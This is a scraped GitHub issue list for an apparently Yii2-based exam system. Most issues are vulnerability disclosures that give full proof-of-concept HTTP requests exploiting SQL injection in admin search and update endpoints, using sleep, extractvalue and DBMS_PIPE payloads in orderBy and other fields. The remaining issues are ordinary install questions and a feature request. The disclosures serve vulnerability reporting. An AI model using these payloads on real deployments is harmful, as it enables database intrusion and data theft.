mylovegy / examination Goto Github PK
View Code? Open in Web Editor NEWYii2-basic 考试系统
License: BSD 3-Clause "New" or "Revised" License
examination's People
Contributors
Stargazers
Watchers
Forkers
xinggao-pki xishouweb henery002 jzxyouok jiangyouhong kidf1 yyqyu jingmian shuangjie zsux lkaibin nobodycmd ledudu piaoxuedtian miluokou cjcer memetjan zhangweijiang adamlien piterfan githubdomain blackstrip suihanhbr littletao08 mengfanshang fsj2001 catding hechengjin xiaocuitest chaieb-adel juicesky liucaiji savalonewang qiuch87 ytw6176 xiangwork feixuelove wzker sevenhqj boypanexamination's Issues
/admin/admin/menu/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：/admin/admin/menu/search
URL /admin/admin/menu/search
poc
payload：(select*from(select+sleep(1)union/**/select+1)a)
sleep(1)
POST /admin/admin/menu/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1431
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/menu/index
X-Csrf-Token: dJSLWCzSPApsYlV56i7X54QliEsKKtXT6hU2jfApXKpGzcoCXpBdVQIwHgrdbbisxmzeKkFCh4KcVHfbwXYJ2g==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_10=false&bRegex_11=false&bRegex_12=false&bRegex_13=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bRegex_8=false&bRegex_9=false&bSearchable_0=true&bSearchable_1=true&bSearchable_10=true&bSearchable_11=true&bSearchable_12=true&bSearchable_13=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSearchable_8=true&bSearchable_9=true&bSortable_0=false&bSortable_1=true&bSortable_10=false&bSortable_11=true&bSortable_12=false&bSortable_13=false&bSortable_2=true&bSortable_3=false&bSortable_4=false&bSortable_5=false&bSortable_6=false&bSortable_7=true&bSortable_8=true&bSortable_9=true&iColumns=14&iDisplayLength=10&iDisplayStart=0&iSortCol_0=1&iSortingCols=1&mDataProp_0=&mDataProp_1=id&mDataProp_10=created_id&mDataProp_11=updated_at&mDataProp_12=updated_id&mDataProp_13=&mDataProp_2=pid&mDataProp_3=menu_name&mDataProp_4=icons&mDataProp_5=url&mDataProp_6=status&mDataProp_7=sort&mDataProp_8=&mDataProp_9=created_at¶ms%5BorderBy%5D=%28select%2Afrom%28select%2Bsleep%281%29union%2F%2A%2A%2Fselect%2B1%29a%29¶ms%5Bpid%5D=0&sColumns=%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C&sEcho=4&sSearch=&sSearch_0=&sSearch_1=&sSearch_10=&sSearch_11=&sSearch_12=&sSearch_13=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSearch_8=&sSearch_9=&sSortDir_0=desc
sleep 5
POST /admin/admin/menu/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1431
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/menu/index
X-Csrf-Token: dJSLWCzSPApsYlV56i7X54QliEsKKtXT6hU2jfApXKpGzcoCXpBdVQIwHgrdbbisxmzeKkFCh4KcVHfbwXYJ2g==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_10=false&bRegex_11=false&bRegex_12=false&bRegex_13=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bRegex_8=false&bRegex_9=false&bSearchable_0=true&bSearchable_1=true&bSearchable_10=true&bSearchable_11=true&bSearchable_12=true&bSearchable_13=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSearchable_8=true&bSearchable_9=true&bSortable_0=false&bSortable_1=true&bSortable_10=false&bSortable_11=true&bSortable_12=false&bSortable_13=false&bSortable_2=true&bSortable_3=false&bSortable_4=false&bSortable_5=false&bSortable_6=false&bSortable_7=true&bSortable_8=true&bSortable_9=true&iColumns=14&iDisplayLength=10&iDisplayStart=0&iSortCol_0=1&iSortingCols=1&mDataProp_0=&mDataProp_1=id&mDataProp_10=created_id&mDataProp_11=updated_at&mDataProp_12=updated_id&mDataProp_13=&mDataProp_2=pid&mDataProp_3=menu_name&mDataProp_4=icons&mDataProp_5=url&mDataProp_6=status&mDataProp_7=sort&mDataProp_8=&mDataProp_9=created_at¶ms%5BorderBy%5D=%28select%2Afrom%28select%2Bsleep%285%29union%2F%2A%2A%2Fselect%2B1%29a%29¶ms%5Bpid%5D=0&sColumns=%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C&sEcho=4&sSearch=&sSearch_0=&sSearch_1=&sSearch_10=&sSearch_11=&sSearch_12=&sSearch_13=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSearch_8=&sSearch_9=&sSortDir_0=desc
你好，有问题想请教
新年好！
我下载打包文件(最新) 下载后，从第3步开始，成功导入了SQL。
且config 中正确添加 db.php 文件。
第四部：配置虚拟目录(需要开启路由重写)，后台地址：域名/admin
第四部，这个这个不清楚该如何配置，我用的是phpstudy
我将"examination"、“__MACOSX”放在我的服务器http://www.abc.com/ 根目录下
即通过 http://www.abc.com/examination 访问本考试系统项目。
现在没成功。
输入 http://www.abc.com/examination/admin显示 404 - Page Not Found
请问能帮忙分析一下吗
请问为什么我安装不了呢
安装的时候点击提交都没有反应
admin/admin/admin/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：/admin/admin/admin/search
URL /admin/admin/admin/search
poc
sqlpayload:extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281188456798%29%29%29
POST /admin/admin/admin/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 886
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/admin-log/index
X-Csrf-Token: R6ndzOnb5xlYpYYY9EseUJepgP2FaLDbyLuPJO_9tBZ18JyWm5mGRjb3zWvDCHEb1eDWnM4A4oq--s5y3qLhZg==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSortable_0=false&bSortable_1=false&bSortable_2=false&bSortable_3=false&bSortable_4=false&bSortable_5=false&bSortable_6=true&bSortable_7=false&iColumns=8&iDisplayLength=10&iDisplayStart=0&iSortCol_0=6&iSortingCols=1&mDataProp_0=&mDataProp_1=admin_name&mDataProp_2=action&mDataProp_3=index&mDataProp_4=request&mDataProp_5=ip&mDataProp_6=created_at&mDataProp_7=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281188456798%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSortDir_0=desc
没有vendor目录啊，而且我加上也报错了
为什么页面不显示呢，是php版本有问题吗
如题～
admin/special/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/special/search
URL admin/special/search
poc
`POST /admin/special/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 876
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/special/index
X-Csrf-Token: lpvLA8GANPZCJxGK7olZ75Fc9BLbb_6I33L8Aq4-W7WkwopZs8JVqSx1WvnZyjak0xWic5AHrNmpM71Un2EOxQ==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSortable_0=false&bSortable_1=true&bSortable_2=false&bSortable_3=false&bSortable_4=true&bSortable_5=true&bSortable_6=true&bSortable_7=false&iColumns=8&iDisplayLength=10&iDisplayStart=0&iSortCol_0=1&iSortingCols=1&mDataProp_0=&mDataProp_1=id&mDataProp_2=pid&mDataProp_3=name&mDataProp_4=sort&mDataProp_5=created_at&mDataProp_6=updated_at&mDataProp_7=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281387292970%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSortDir_0=desc`
/admin/admin/auth-rule/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details： /admin/admin/auth-rule/search
URL /admin/admin/auth-rule/search
poc
POST /admin/admin/auth-rule/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 796
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/auth-rule/index
X-Csrf-Token: E8EIH3HxmQ-MC3ECQZ8x4aWKPzeKIosEN3GbrrC4H7QhmElFA7P4UOJZOnF23F6q58NpVsFK2VVBMNr4gedKxA==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSortable_0=false&bSortable_1=true&bSortable_2=true&bSortable_3=false&bSortable_4=true&bSortable_5=true&bSortable_6=false&iColumns=7&iDisplayLength=10&iDisplayStart=0&iSortCol_0=1&iSortingCols=1&mDataProp_0=&mDataProp_1=name&mDataProp_2=name&mDataProp_3=data&mDataProp_4=created_at&mDataProp_5=updated_at&mDataProp_6=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281547903184%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSortDir_0=desc
admin/admin/authority/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/admin/authority/search
URL admin/admin/authority/search
poc
POST /admin/admin/authority/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 975
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/authority/index
X-Csrf-Token: 2UYjigTRJJSgdpRzR1Ziht5RjECmSp-frEnZbnTCJSfrH2LQdpNFy84k3wBwFQ3NnBjaIe0izc7aCJg4RZ1wVw==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bRegex_8=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSearchable_8=true&bSortable_0=false&bSortable_1=true&bSortable_2=false&bSortable_3=false&bSortable_4=false&bSortable_5=false&bSortable_6=true&bSortable_7=true&bSortable_8=false&iColumns=9&iDisplayLength=10&iDisplayStart=0&iSortCol_0=6&iSortingCols=1&mDataProp_0=&mDataProp_1=type&mDataProp_2=name&mDataProp_3=name&mDataProp_4=description&mDataProp_5=rule_name&mDataProp_6=created_at&mDataProp_7=updated_at&mDataProp_8=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281349049144%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSearch_8=&sSortDir_0=desc
能否增加一个做题记录
比如顺序练习，共100题，我今天做到了50题，明天可以从51题开始做。有个这个记录比较好。
登录到后台菜单选项不见了
fork了一份源码到本地，搭建起来发现，登录到后台没有菜单了
admin/admin/module/update has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/admin/module/update
URL /admin/admin/module/update
poc
POST /admin/admin/module/update HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 2843
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/module/index
X-Csrf-Token: gDVqHkFDVakDvDqkqUbzYkrLW8goNo8tj13iPJyYMDqybCtEMwE09m3ucdeeBZwpCIINqWNe3Xz5HKNqrcdlSg==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
agree=on&allow=1&attr%5Baction%5D%5BbSortable%5D=0&attr%5Baction%5D%5BcreatedCell%5D=&attr%5Baction%5D%5Bedit%5D=1&attr%5Baction%5D%5Boptions%5D=required%3A+true%2C+rangeLength%3A+%22%5B2%2C+64%5D%22&attr%5Baction%5D%5Bsearch%5D=0&attr%5Baction%5D%5Btitle%5D=%E6%96%B9%E6%B3%95&attr%5Baction%5D%5Btype%5D=text&attr%5Badmin_id%5D%5BbSortable%5D=0&attr%5Badmin_id%5D%5BcreatedCell%5D=&attr%5Badmin_id%5D%5Bedit%5D=1&attr%5Badmin_id%5D%5Boptions%5D=required%3A+true%2C+number%3A+true&attr%5Badmin_id%5D%5Bsearch%5D=0&attr%5Badmin_id%5D%5Btitle%5D=%E6%93%8D%E4%BD%9C%E7%AE%A1%E7%90%86%E5%91%98ID&attr%5Badmin_id%5D%5Btype%5D=text&attr%5Badmin_name%5D%5BbSortable%5D=0&attr%5Badmin_name%5D%5BcreatedCell%5D=&attr%5Badmin_name%5D%5Bedit%5D=1&attr%5Badmin_name%5D%5Boptions%5D=required%3A+true%2C+rangeLength%3A+%22%5B2%2C+20%5D%22&attr%5Badmin_name%5D%5Bsearch%5D=0&attr%5Badmin_name%5D%5Btitle%5D=%E6%93%8D%E4%BD%9C%E7%AE%A1%E7%90%86%E5%91%98%E5%90%8D%E7%A7%B0&attr%5Badmin_name%5D%5Btype%5D=text&attr%5Bcreated_at%5D%5BbSortable%5D=0&attr%5Bcreated_at%5D%5BcreatedCell%5D=meTables.dateTimeString&attr%5Bcreated_at%5D%5Bedit%5D=1&attr%5Bcreated_at%5D%5Boptions%5D=required%3A+true%2C+number%3A+true&attr%5Bcreated_at%5D%5Bsearch%5D=0&attr%5Bcreated_at%5D%5Btitle%5D=%E5%88%9B%E5%BB%BA%E6%97%B6%E9%97%B4&attr%5Bcreated_at%5D%5Btype%5D=text&attr%5Bid%5D%5BbSortable%5D=0&attr%5Bid%5D%5BcreatedCell%5D=&attr%5Bid%5D%5Bedit%5D=1&attr%5Bid%5D%5Boptions%5D=&attr%5Bid%5D%5Bsearch%5D=0&attr%5Bid%5D%5Btitle%5D=%E6%97%A5%E5%BF%97ID&attr%5Bid%5D%5Btype%5D=hidden&attr%5Bindex%5D%5BbSortable%5D=0&attr%5Bindex%5D%5BcreatedCell%5D=&attr%5Bindex%5D%5Bedit%5D=1&attr%5Bindex%5D%5Boptions%5D=required%3A+true%2C+rangeLength%3A+%22%5B2%2C+100%5D%22&attr%5Bindex%5D%5Bsearch%5D=0&attr%5Bindex%5D%5Btitle%5D=%E6%95%B0%E6%8D%AE%E6%A0%87%E8%AF%86&attr%5Bindex%5D%5Btype%5D=text&attr%5Bip%5D%5BbSortable%5D=0&attr%5Bip%5D%5BcreatedCell%5D=&attr%5Bip%5D%5Bedit%5D=1&attr%5Bip%5D%5Boptions%5D=required%3A+true&attr%5Bip%5D%5Bsearch%5D=0&attr%5Bip%5D%5Btitle%5D=%E8%AF%B7%E6%B1%82IP&attr%5Bip%5D%5Btype%5D=text&attr%5Brequest%5D%5BbSortable%5D=0&attr%5Brequest%5D%5BcreatedCell%5D=&attr%5Brequest%5D%5Bedit%5D=1&attr%5Brequest%5D%5Boptions%5D=required%3A+true&attr%5Brequest%5D%5Bsearch%5D=0%27%2F%2A%2A%2Fand%2F%2A%2A%2FDBMS_PIPE.RECEIVE_MESSAGE%28%27k%27%2C0%29%3D%27k&attr%5Brequest%5D%5Btitle%5D=%E8%AF%B7%E6%B1%82%E5%8F%82%E6%95%B0&attr%5Brequest%5D%5Btype%5D=text&attr%5Bresponse%5D%5BbSortable%5D=0&attr%5Bresponse%5D%5BcreatedCell%5D=&attr%5Bresponse%5D%5Bedit%5D=1&attr%5Bresponse%5D%5Boptions%5D=required%3A+true&attr%5Bresponse%5D%5Bsearch%5D=0&attr%5Bresponse%5D%5Btitle%5D=%E5%93%8D%E5%BA%94%E6%95%B0%E6%8D%AE&attr%5Bresponse%5D%5Btype%5D=text&auth=1&auth_prefix=&controller=&html=&menu=1&menu_prefix=&pk=id&primary_key=&table=ks_admin_operate_logs&title=122
admin/subject/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/subject/search
URL admin/subject/search
poc
`POST /admin/subject/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1131
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/subject/index
X-Csrf-Token: wT_eZWinKd3OgGh3VHJaWKrdpJrKcrab-1R6Af7JBH7zZp8_GuVIgqDSIwRjMTUT6JTy-4Ea5MqNFTtXz5ZRDg==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_10=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bRegex_8=false&bRegex_9=false&bSearchable_0=true&bSearchable_1=true&bSearchable_10=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSearchable_8=true&bSearchable_9=true&bSortable_0=false&bSortable_1=true&bSortable_10=false&bSortable_2=true&bSortable_3=true&bSortable_4=false&bSortable_5=false&bSortable_6=false&bSortable_7=true&bSortable_8=true&bSortable_9=true&iColumns=11&iDisplayLength=10&iDisplayStart=0&iSortCol_0=1&iSortingCols=1&mDataProp_0=&mDataProp_1=id&mDataProp_10=&mDataProp_2=car_id&mDataProp_3=name&mDataProp_4=desc&mDataProp_5=config&mDataProp_6=image&mDataProp_7=sort&mDataProp_8=status&mDataProp_9=created_at¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281970555199%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_10=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSearch_8=&sSearch_9=&sSortDir_0=desc`
admin/admin/auth-assignment/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/admin/auth-assignment/search
poc
params%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281446970635%29%29%29
POST /admin/admin/auth-assignment/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 555
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
